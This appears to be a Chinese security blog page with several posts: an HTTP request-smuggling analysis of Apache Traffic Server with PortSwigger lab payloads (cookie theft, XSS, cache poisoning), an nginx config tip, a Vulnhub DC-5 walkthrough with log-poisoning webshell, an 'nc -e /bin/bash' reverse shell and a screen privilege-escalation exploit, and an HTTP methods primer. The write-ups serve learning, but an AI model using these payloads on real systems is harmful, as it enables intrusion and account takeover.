一般用作HTTP代理和缓存服务器,在这个测试环境中,我将其运行在了本地的Ubuntu虚拟机中,把它配置为后端服务器LAMP&LNMP的反向代理,然后修改本机HOST文件,将域名ats.mengsec.com和lnmp.mengsec,com解析到这个IP,然后在ATS上配置映射,最终实现的效果就是,我们在本机访问域名ats.mengsec.com通过中间的代理服务器,获得LAMP的响应,在本机访问域名lnmp.mengsec,com,获得LNMP的响应。为了方便查看请求的数据包,我在LNMP和LAMP的Web目录下都放置了输出请求头的脚本。LNMP:<?php echo 'This is Nginx<br>'; if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } var_dump(getallheaders()); $data = file_get_contents("php://input"); print_r($data); LAMP:<?php echo 'This is LAMP:80<br>'; var_dump(getallheaders()); $data = file_get_contents("php://input"); print_r($data); 4.2.2 搭建过程在GIthub上下载源码编译安装ATS。https://github.com/apache/trafficserver/archive/7.1.2.tar.gz 安装依赖&常用工具。apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget 然后解压源码,进行编译&安装。autoreconf -if ./configure --prefix=/opt/ts-712 make make install 安装完毕后,配置反向代理和映射。编辑records.config配置文件,在这里暂时把ATS的缓存功能关闭。vim /opt/ts-712/etc/trafficserver/records.config CONFIG proxy.config.http.cache.http INT 0 # 关闭缓存 CONFIG proxy.config.reverse_proxy.enabled INT 1 # 启用反向代理 CONFIG proxy.config.url_remap.remap_required INT 1 # 限制ats仅能访问map表中映射的地址 CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # 监听在本地80端口 编辑remap.config配置文件,在末尾添加要映射的规则表。vim /opt/ts-712/etc/trafficserver/remap.config map http://lnmp.mengsec.com/ http://10.211.55.2:10086/ map http://ats.mengsec.com/ http://10.211.55.2:10085/ 配置完毕后重启一下服务器使配置生效,我们可以正常访问来测试一下。为了准确获得服务器的响应,我们使用管道符和nc来与服务器建立链接。printf 'GET / HTTP/1.1\r\n'\ 'Host:ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 可以看到我们成功的访问到了后端的LAMP服务器。同样的可以测试,代理服务器与后端LNMP服务器的连通性。printf 'GET / HTTP/1.1\r\n'\ 'Host:lnmp.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 4.3 漏洞测试来看下四个补丁以及它的描述https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名称后面和冒号前面有空格,则返回400 https://github.com/apache/trafficserver/pull/3201 # 3201 当返回400错误时,关闭链接 https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头 https://github.com/apache/trafficserver/pull/3251 # 3251 当缓存命中时,清空请求体4.3.1 第一个补丁https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名称后面和冒号前面有空格,则返回400看介绍是给ATS增加了RFC7230第3.2.4章的实现,https://tools.ietf.org/html/rfc7230#section-3.2.4在其中,规定了HTTP的请求包中,请求头字段与后续的冒号之间不能有空白字符,如果存在空白字符的话,服务器必须返回400,从补丁中来看的话,在ATS 7.1.2中,并没有对该标准进行一个详细的实现。当ATS服务器接收到的请求中存在请求字段与:之间存在空格的字段时,并不会对其进行修改,也不会按照RFC标准所描述的那样返回400错误,而是直接将其转发给后端服务器。而当后端服务器也没有对该标准进行严格的实现时,就有可能导致HTTP走私攻击。比如Nginx服务器,在收到请求头字段与冒号之间存在空格的请求时,会忽略该请求头,而不是返回400错误。在这时,我们可以构造一个特殊的HTTP请求,进行走私。GET / HTTP/1.1 Host: lnmp.mengsec.com Content-Length : 56 GET / HTTP/1.1 Host: lnmp.mengsec.com attack: 1 foo: 很明显,请求包中下面的数据部分在传输过程中被后端服务器解析成了请求头。来看下Wireshark中的数据包,ATS在与后端Nginx服务器进行数据传输的过程中,重用了TCP连接。只看一下请求,如图所示:阴影部分为第一个请求,剩下的部分为第二个请求。在我们发送的请求中,存在特殊构造的请求头Content-Length : 56,56就是后续数据的长度。GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 在数据的末尾,不存在\r\n这个结尾。当我们的请求到达ATS服务器时,因为ATS服务器可以解析Content-Length : 56这个中间存在空格的请求头,它认为这个请求头是有效的。这样一来,后续的数据也被当做这个请求的一部分。总的来看,对于ATS服务器,这个请求就是完整的一个请求。GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length : 56\r\n \r\n GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: ATS收到这个请求之后,根据Host字段的值,将这个请求包转发给对应的后端服务器。在这里是转发到了Nginx服务器上。而Nginx服务器在遇到类似于这种Content-Length : 56的请求头时,会认为其是无效的,然后将其忽略掉。但并不会返回400错误,对于Nginx来说,收到的请求为GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 因为最后的末尾没有\r\n,这就相当于收到了一个完整的GET请求和一个不完整的GET请求。完整的:GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n 不完整的:GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 在这时,Nginx就会将第一个请求包对应的响应发送给ATS服务器,然后等待后续的第二个请求传输完毕再进行响应。当ATS转发的下一个请求到达时,对于Nginx来说,就直接拼接到了刚刚收到的那个不完整的请求包的后面。也就相当于GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: GET / HTTP/1.1\r\n Host: 10.211.55.2:10086\r\n X-Forwarded-For: 10.211.55.2\r\n Via: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62] (ApacheTrafficServer/7.1.2)\r\n 然后Nginx将这个请求包的响应发送给ATS服务器,我们收到的响应中就存在了attack: 1和foo: GET / HTTP/1.1这两个键值对了。那这会造成什么危害呢?可以想一下,如果ATS转发的第二个请求不是我们发送的呢?让我们试一下。假设在Nginx服务器下存在一个admin.php,代码内容如下:<?php if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1){ echo "You are Admin\n"; if(isset($_GET['del'])){ echo 'del user ' . $_GET['del']; } }else{ echo "You are not Admin"; } 由于HTTP协议本身是无状态的,很多网站都是使用Cookie来判断用户的身份信息。通过这个漏洞,我们可以盗用管理员的身份信息。在这个例子中,管理员的请求中会携带这个一个Cookie的键值对admin=1,当拥有管理员身份时,就能通过GET方式传入要删除的用户名称,然后删除对应的用户。在前面我们也知道了,通过构造特殊的请求包,可以使Nginx服务器把收到的某个请求作为上一个请求的一部分。这样一来,我们就能盗用管理员的Cookie了。构造数据包GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length : 78\r\n \r\n GET /admin.php?del=mengchen HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 然后是管理员的正常请求GET / HTTP/1.1 Host: lnmp.mengsec.com Cookie: admin=1 让我们看一下效果如何。在Wireshark的数据包中看的很直观,阴影部分为管理员发送的正常请求。在Nginx服务器上拼接到了上一个请求中, 成功删除了用户mengchen。4.3.2 第二个补丁https://github.com/apache/trafficserver/pull/3201 # 3201 当返回400错误时,关闭连接这个补丁说明了,在ATS 7.1.2中,如果请求导致了400错误,建立的TCP链接也不会关闭。在regilero的对CVE-2018-8004的分析文章中,说明了如何利用这个漏洞进行攻击。printf 'GET / HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'foo: bar\r\n'\ 'GET /2333 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 一共能够获得2个响应,都是400错误。ATS在解析HTTP请求时,如果遇到NULL,会导致一个截断操作,我们发送的这一个请求,对于ATS服务器来说,算是两个请求。第一个GET / HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: 第二个bb\r\n foo: bar\r\n GET /2333 HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n 第一个请求在解析的时候遇到了NULL,ATS服务器响应了第一个400错误,后面的bb\r\n成了后面请求的开头,不符合HTTP请求的规范,这就响应了第二个400错误。再进行修改下进行测试printf 'GET / HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'GET /1.html HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 一个400响应,一个200响应,在Wireshark中也能看到,ATS把第二个请求转发给了后端Apache服务器。那么由此就已经算是一个HTTP请求拆分攻击了,GET / HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: \0bb\r\n GET /1.html HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n 但是这个请求包,怎么看都是两个请求,中间的GET /1.html HTTP/1.1\r\n不符合HTTP数据包中请求头Name:Value的格式。在这里我们可以使用absoluteURI,在RFC2616中第5.1.2节中规定了它的详细格式。https://tools.ietf.org/html/rfc2616#section-5.1.2我们可以使用类似GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1的请求头进行请求。构造数据包GET /400 HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: \0bb\r\n GET http://ats.mengsec.com/1.html HTTP/1.1\r\n \r\n GET /404 HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n printf 'GET /400 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'GET http://ats.mengsec.com/1.html HTTP/1.1\r\n'\ '\r\n'\ 'GET /404 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80 本质上来说,这是两个HTTP请求,第一个为GET /400 HTTP/1.1\r\n Host: ats.mengsec.com\r\n aa: \0bb\r\n GET http://ats.mengsec.com/1.html HTTP/1.1\r\n \r\n 其中GET http://ats.mengsec.com/1.html HTTP/1.1为名为GET http,值为//ats.mengsec.com/1.html HTTP/1.1的请求头。第二个为GET /404 HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n 当该请求发送给ATS服务器之后,我们可以获取到三个HTTP响应,第一个为400,第二个为200,第三个为404。多出来的那个响应就是ATS中间对服务器1.html的请求的响应。根据HTTP Pipepline的先入先出规则,假设攻击者向ATS服务器发送了第一个恶意请求,然后受害者向ATS服务器发送了一个正常的请求,受害者获取到的响应,就会是攻击者发送的恶意请求中的GET http://evil.mengsec.com/evil.html HTTP/1.1中的内容。这种攻击方式理论上是可以成功的,但是利用条件还是太苛刻了。对于该漏洞的修复方式,ATS服务器选择了,当遇到400错误时,关闭TCP链接,这样无论后续有什么请求,都不会对其他用户造成影响了。4.3.3 第三个补丁https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头在该补丁中,bryancall 的描述是当Content-Length请求头不匹配时,响应400,删除具有相同Content-Length请求头的重复副本,如果存在Transfer-Encoding请求头,则删除Content-Length请求头。 从这里我们可以知道,ATS 7.1.2版本中,并没有对RFC2616的标准进行完全实现,我们或许可以进行CL-TE走私攻击。构造请求GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length: 6\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n G 多次发送后就能获得405 Not Allowed响应。我们可以认为,后续的多个请求在Nginx服务器上被组合成了类似如下所示的请求。GGET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n ...... 对于Nginx来说,GGET这种请求方法是不存在的,当然会返回405报错了。接下来尝试攻击下admin.php,构造请求GET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Content-Length: 83\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n GET /admin.php?del=mengchen HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n attack: 1\r\n foo: 多次请求后获得了响应You are not Admin,说明服务器对admin.php进行了请求。如果此时管理员已经登录了,然后想要访问一下网站的主页。他的请求为GET / HTTP/1.1 Host: lnmp.mengsec.com Cookie: admin=1 效果如下我们可以看一下Wireshark的流量,其实还是很好理解的。阴影所示部分就是管理员发送的请求,在Nginx服务器中组合进入了上一个请求中,就相当于GET /admin.php?del=mengchen HTTP/1.1 Host: lnmp.mengsec.com attack: 1 foo: GET / HTTP/1.1 Host: 10.211.55.2:10086 Cookie: admin=1 X-Forwarded-For: 10.211.55.2 Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afcb-d857b14675f6] (ApacheTrafficServer/7.1.2) 携带着管理员的Cookie进行了删除用户的操作。这个与前面4.3.1中的利用方式在某种意义上其实是相同的。4.3.4 第四个补丁https://github.com/apache/trafficserver/pull/3251 # 3251 当缓存命中时,清空请求体当时看这个补丁时,感觉是一脸懵逼,只知道应该和缓存有关,但一直想不到哪里会出问题。看代码也没找到,在9月17号的时候regilero的分析文章出来才知道问题在哪。当缓存命中之后,ATS服务器会忽略请求中的Content-Length请求头,此时请求体中的数据会被ATS当做另外的HTTP请求来处理,这就导致了一个非常容易利用的请求走私漏洞。在进行测试之前,把测试环境中ATS服务器的缓存功能打开,对默认配置进行一下修改,方便我们进行测试。vim /opt/ts-712/etc/trafficserver/records.config CONFIG proxy.config.http.cache.http INT 1 # 开启缓存功能 CONFIG proxy.config.http.cache.ignore_client_cc_max_age INT 0 # 使客户端Cache-Control头生效,方便控制缓存过期时间 CONFIG proxy.config.http.cache.required_headers INT 1 # 当收到Cache-control: max-age 请求头时,就对响应进行缓存 然后重启服务器即可生效。为了方便测试,我在Nginx网站目录下写了一个生成随机字符串的脚本random_str.phpfunction randomkeys($length){ $output=''; for ($a = 0; $a<$length; $a++) { $output .= chr(mt_rand(33, 126)); } return $output; } echo "get random string: "; echo randomkeys(8); 构造请求包GET /1.html HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n Cache-control: max-age=10\r\n Content-Length: 56\r\n \r\n GET /random_str.php HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n 第一次请求第二次请求可以看到,当缓存命中时,请求体中的数据变成了下一个请求,并且成功的获得了响应。GET /random_str.php HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n \r\n 而且在整个请求中,所有的请求头都是符合RFC规范的,这就意味着,在ATS前方的代理服务器,哪怕严格实现了RFC标准,也无法避免该攻击行为对其他用户造成影响。ATS的修复措施也是简单粗暴,当缓存命中时,把整个请求体清空就好了。5. 其他攻击实例在前面,我们已经看到了不同种代理服务器组合所产生的HTTP请求走私漏洞,也成功模拟了使用HTTP请求走私这一攻击手段来进行会话劫持,但它能做的不仅仅是这些,在PortSwigger中提供了利用HTTP请求走私攻击的实验,可以说是很典型了。5.1 绕过前端服务器的安全控制在这个网络环境中,前端服务器负责实现安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,对每个请求都进行响应。因此我们可以利用HTTP请求走私,将无法访问的请求走私给后端服务器并获得响应。在这里有两个实验,分别是使用CL-TE和TE-CL绕过前端的访问控制。5.1.1 使用CL-TE绕过前端服务器安全控制Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te实验的最终目的是获取admin权限并删除用户carlos我们直接访问/admin,会返回提示Path /admin is blocked,看样子是被前端服务器阻止了,根据题目的提示CL-TE,我们可以尝试构造数据包POST / HTTP/1.1 Host: ac1b1f991edef1f1802323bc00e10084.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: session=Iegl0O4SGnwlddlFQzxduQdt8NwqWsKI Content-Length: 38 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 foo: bar 进行多次请求之后,我们可以获得走私过去的请求的响应。提示只有是以管理员身份访问或者在本地登录才可以访问/admin接口。在下方走私的请求中,添加一个Host: localhost请求头,然后重新进行请求,一次不成功多试几次。如图所示,我们成功访问了admin界面。也知道了如何删除一个用户,也就是对/admin/delete?username=carlos进行请求。修改下走私的请求包再发送几次即可成功删除用户carlos。需要注意的一点是在这里,不需要我们对其他用户造成影响,因此走私过去的请求也必须是一个完整的请求,最后的两个\r\n不能丢弃。5.1.1 使用TE-CL绕过前端服务器安全控制Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl这个实验与上一个就十分类似了,具体攻击过程就不在赘述了。5.2 获取前端服务器重写请求字段在有的网络环境下,前端代理服务器在收到请求后,不会直接转发给后端服务器,而是先添加一些必要的字段,然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的,比如:描述TLS连接所使用的协议和密码包含用户IP地址的XFF头用户的会话令牌ID总之,如果不能获取到代理服务器添加或者重写的字段,我们走私过去的请求就不能被后端服务器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法,主要是三大步骤:找一个能够将请求参数的值输出到响应中的POST请求把该POST请求中,找到的这个特殊的参数放在消息的最后面然后走私这一个请求,然后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来。怎么理解呢,还是做一下实验来一起来学习下吧。Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting实验的最终目的还是删除用户 carlos。我们首先进行第一步骤,找一个能够将请求参数的值输出到响应中的POST请求。在网页上方的搜索功能就符合要求构造数据包POST / HTTP/1.1 Host: ac831f8c1f287d3d808d2e1c00280087.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Content-Type: application/x-www-form-urlencoded Cookie: session=2rOrjC16pIb7ZfURX8QlSuU1v6UMAXLA Content-Length: 77 Transfer-Encoding: chunked 0 POST / HTTP/1.1 Content-Length: 70 Connection: close search=123 多次请求之后就可以获得前端服务器添加的请求头这是如何获取的呢,可以从我们构造的数据包来入手,可以看到,我们走私过去的请求为POST / HTTP/1.1 Content-Length: 70 Connection: close search=123 其中Content-Length的值为70,显然下面携带的数据的长度是不够70的,因此后端服务器在接收到这个走私的请求之后,会认为这个请求还没传输完毕,继续等待传输。接着我们又继续发送相同的数据包,后端服务器接收到的是前端代理服务器已经处理好的请求,当接收的数据的总长度到达70时,后端服务器认为这个请求已经传输完毕了,然后进行响应。这样一来,后来的请求的一部分被作为了走私的请求的参数的一部分,然后从响应中表示了出来,我们就能获取到了前端服务器重写的字段。在走私的请求上添加这个字段,然后走私一个删除用户的请求就好了。5.3 获取其他用户的请求在上一个实验中,我们通过走私一个不完整的请求来获取前端服务器添加的字段,而字段来自于我们后续发送的请求。换句话说,我们通过请求走私获取到了我们走私请求之后的请求。如果在我们的恶意请求之后,其他用户也进行了请求呢?我们寻找的这个POST请求会将获得的数据存储并展示出来呢?这样一来,我们可以走私一个恶意请求,将其他用户的请求的信息拼接到走私请求之后,并存储到网站中,我们再查看这些数据,就能获取用户的请求了。这可以用来偷取用户的敏感信息,比如账号密码等信息。Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests实验的最终目的是获取其他用户的Cookie用来访问其他账号。我们首先去寻找一个能够将传入的信息存储到网站中的POST请求表单,很容易就能发现网站中有一个用户评论的地方。抓取POST请求并构造数据包POST / HTTP/1.1 Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa Content-Length: 267 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa Content-Length: 400 csrf=JDqCEvQexfPihDYr08mrlMun4ZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment= 这样其实就足够了,但是有可能是实验环境的问题,我无论怎么等都不会获取到其他用户的请求,反而抓了一堆我自己的请求信息。不过原理就是这样,还是比较容易理解的,最重要的一点是,走私的请求是不完整的。5.4 利用反射型XSS我们可以使用HTTP走私请求搭配反射型XSS进行攻击,这样不需要与受害者进行交互,还能利用漏洞点在请求头中的XSS漏洞。Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss在实验介绍中已经告诉了前端服务器不支持分块编码,目标是执行alert(1)首先根据UA出现的位置构造Payload然后构造数据包POST / HTTP/1.1 Host: ac801fd21fef85b98012b3a700820000.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 123 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: "><script>alert(1)</script># Content-Type: application/x-www-form-urlencoded 此时在浏览器中访问,就会触发弹框再重新发一下,等一会刷新,可以看到这个实验已经解决了。5.5 进行缓存投毒一般来说,前端服务器出于性能原因,会对后端服务器的一些资源进行缓存,如果存在HTTP请求走私漏洞,则有可能使用重定向来进行缓存投毒,从而影响后续访问的所有用户。Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning实验环境中提供了漏洞利用的辅助服务器。需要添加两个请求包,一个POST,携带要走私的请求包,另一个是正常的对JS文件发起的GET请求。以下面这个JS文件为例/resources/js/labHeader.js 编辑响应服务器构造POST走私数据包POST / HTTP/1.1 Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: acb11fe31e16e96b800e125a013b009f.web-security-academy.net Content-Length: 10 123 然后构造GET数据包GET /resources/js/labHeader.js HTTP/1.1 Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Connection: close POST请求和GET请求交替进行,多进行几次,然后访问js文件,响应为缓存的漏洞利用服务器上的文件。访问主页,成功弹窗,可以知道,js文件成功的被前端服务器进行了缓存。6. 如何防御从前面的大量案例中,我们已经知道了HTTP请求走私的危害性,那么该如何防御呢?不针对特定的服务器,通用的防御措施大概有三种。禁用代理服务器与后端服务器之间的TCP连接重用。使用HTTP/2协议。前后端使用相同的服务器。以上的措施有的不能从根本上解决问题,而且有着很多不足,就比如禁用代理服务器和后端服务器之间的TCP连接重用,会增大后端服务器的压力。使用HTTP/2在现在的网络条件下根本无法推广使用,哪怕支持HTTP/2协议的服务器也会兼容HTTP/1.1。从本质上来说,HTTP请求走私出现的原因并不是协议设计的问题,而是不同服务器实现的问题,个人认为最好的解决方案就是严格的实现RFC7230-7235中所规定的的标准,但这也是最难做到的。参考链接https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/https://portswigger.net/research/http-desync-attacks-request-smuggling-rebornhttps://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdfhttps://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
2020年11月28日
84 阅读
0 评论
0 点赞
2020-09-05
Nginx禁止ip方式访问80、443端口
很多时候,在部署CDN的Https回源的时候,令人烦躁的Shodan引擎会让世界知道你的源站地址,带来不少麻烦比如惨烈的本站,在云锁防恶意解析功能不知道跑哪去以后,变成了这样源站地址直接暴露,这样做cdn防御还有什么用,,,根据证书查询到源服务器。。。。于是就寻思着在NGINX上手动配置一个默认站点,NGINX的默认站点寻找顺序是按照配置文件顺序排列的,在找不到可用server_name的时候,自动返回第一个站点。于是乎,我们需要在server标签最前面配置一个默认server标签来屏蔽大部分错误的请求。不过首先,我们肯定不会特意去买了个证书去配置443的默认站点吧。那就先使用OpenSSL自签发一份NGINX可用的证书一、签发证书1.生成私钥文件:openssl genrsa -des3 -out server.key 2048Ps:会提示需要给证书加密码2.去除口令:mv server.key server.key.backopenssl rsa -in server.key.back -out server.keyPs:会提示询问证书的密码3.创建请求证书:openssl req -new -key server.key -out server.csrPS:会提示输入一些信息,可以乱填或一路回车4.生成证书文件:openssl x509 -req -days 36500 -in server.csr -signkey server.key -out server.crt这样我们就得到了这样四个文件二、配置NGINX1.上传我们的server.crt server.key文件到我们NGINX所在的服务器下2.修改配置文件,在所有server的最前面添加server { listen 80 default_server; listen 443 default_server; server_name _; ssl on; ssl_certificate /www/server.crt;//证书上传地址 ssl_certificate_key /www/server.key; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; return 403;//返回403错误,可以自定义页面或其他错误码 }PS:代码放置需求,在虚拟主机配置文件前或主站点前eg.(宝塔)三、结束然后咋办?还要说?当然是保存重启了或者重载拉:—)如果返回403的话,正常就是这样了这样一来,可以有效阻止绝大部分的针对主机和域名的扫描器,保障服务器安全
2020年09月05日
381 阅读
0 评论
0 点赞
2020-04-17
Vulnhub靶场之DC-5
还是老规矩,先搜集一波信息arp-scan -l 检索一下我们的主机设备192.168.75.138使用nmap扫描端口信息 nmap -sS -p 1-65535 -A 192.168.75.138发现启用了nginx服务,开启着80端口。访问试试似乎是一个介绍页面,还有一个留言板发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面]使用kali下的自带字典因为我用的是Community版本的burp。。。。爆破没法设置线程巨慢,因此盗几张图既然是文件包含,直接老规矩去读取/etc/passwdthankyou.php?file=/etc/passwd对方使用的是Nginx,那么能不能读取出nginx的日志文件呢。查询资料得出,默认nginx的日志路径是/var/log/nginx/*.log如果说他将会读取日志。那么能否在日志里面插入一句话木马呢?插入成功上菜刀连接http://192.168.75.138/thankyou.php?file=/var/log/nginx/error.log试试看成功不出所料,又是一个低权用户那么用nc反弹到kali里面玩nc -e /bin/bash 192.168.75.129 1234nc -lvvp 1234然后我们寻找具有sudo权限的操作find / -perm -u=s -type f 2>/dev/nullscreen提权?searchsploit screen 4.5.0查找可用于screen 4.5.0的漏洞脚本文件cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.textcp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh将41154.sh中上面一部分c语言代码另存为libhax.c 编译libhax.c文件gcc -fPIC -shared -ldl -o libhax.so libhax.c将41154.sh中下面一部分c语言代码另存为rootshell.c 编译rootshell.c文件gcc -o rootshell rootshell.c将41154.sh中剩下部分代码另存为dc5.sh脚本文件并在保存dc5.sh文件输入 :set ff=unix ,否则在执行脚本文件时后出错为dc5.sh增加可执行权限,执行dc5.sh文件,成功获取到root权限cd /tmpchmod +x dc5.shls -l./dc5.sh
2020年04月17日
199 阅读
0 评论
0 点赞
2020-04-11
浅谈HTTP的各种请求方法
早在http1.0时代,最基础的三个请求模式被定义出来,他们分别是GET POST HEAD慢慢到了Http1.1时代,请求基本模型就出来了,这一次,增加了更多的功能类请求OPTIONS, PUT, DELETE, TRACE 和 CONNECTGET那么,先从最最最基础的GET请求开始说起,做为http三巨头之一,顾名思义,他面向于获取类型的请求,比如,向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url,其最明显的特征就是,打开地址栏,你可以非常清楚的看到,他发送了什么。POSTpost作为和get一样古老的东西,作为“邮件”同样顾名思义,它是想服务器发送数据,然后再从服务器那边获取返回数据。向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form,最明显的特征就是,你无法直观的看出,你的客户端对服务器发送了什么,数据内容是存在于body内的,只能通过抓包解析出。HEAD我通常吧head请求看作是get请求的阉割版,他只响应http头部,响应主体不会被发出,这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。是的,心跳检测用head请求再好不过了。OPTIONS返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能PUT向指定资源位置上传其最新内容DELETE请求服务器删除Request-URL所标识的资源TRACE回显服务器收到的请求,主要用于测试或诊断CONNECTHTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。那么,值得注意的,在请求报文里面,请求类型必须是大写的,否则服务器可能将返回405 method not allowdHTTP工作原理HTTP协议定义Web客户端如何从Web服务器请求Web页面,以及服务器如何把Web页面传送给客户端。HTTP协议采用了请求/响应模型。客户端向服务器发送一个请求报文,请求报文包含请求的方法、URL、协议版本、请求头部和请求数据。服务器以一个状态行作为响应,响应的内容包括协议的版本、成功或者错误代码、服务器信息、响应头部和响应数据。HTTP 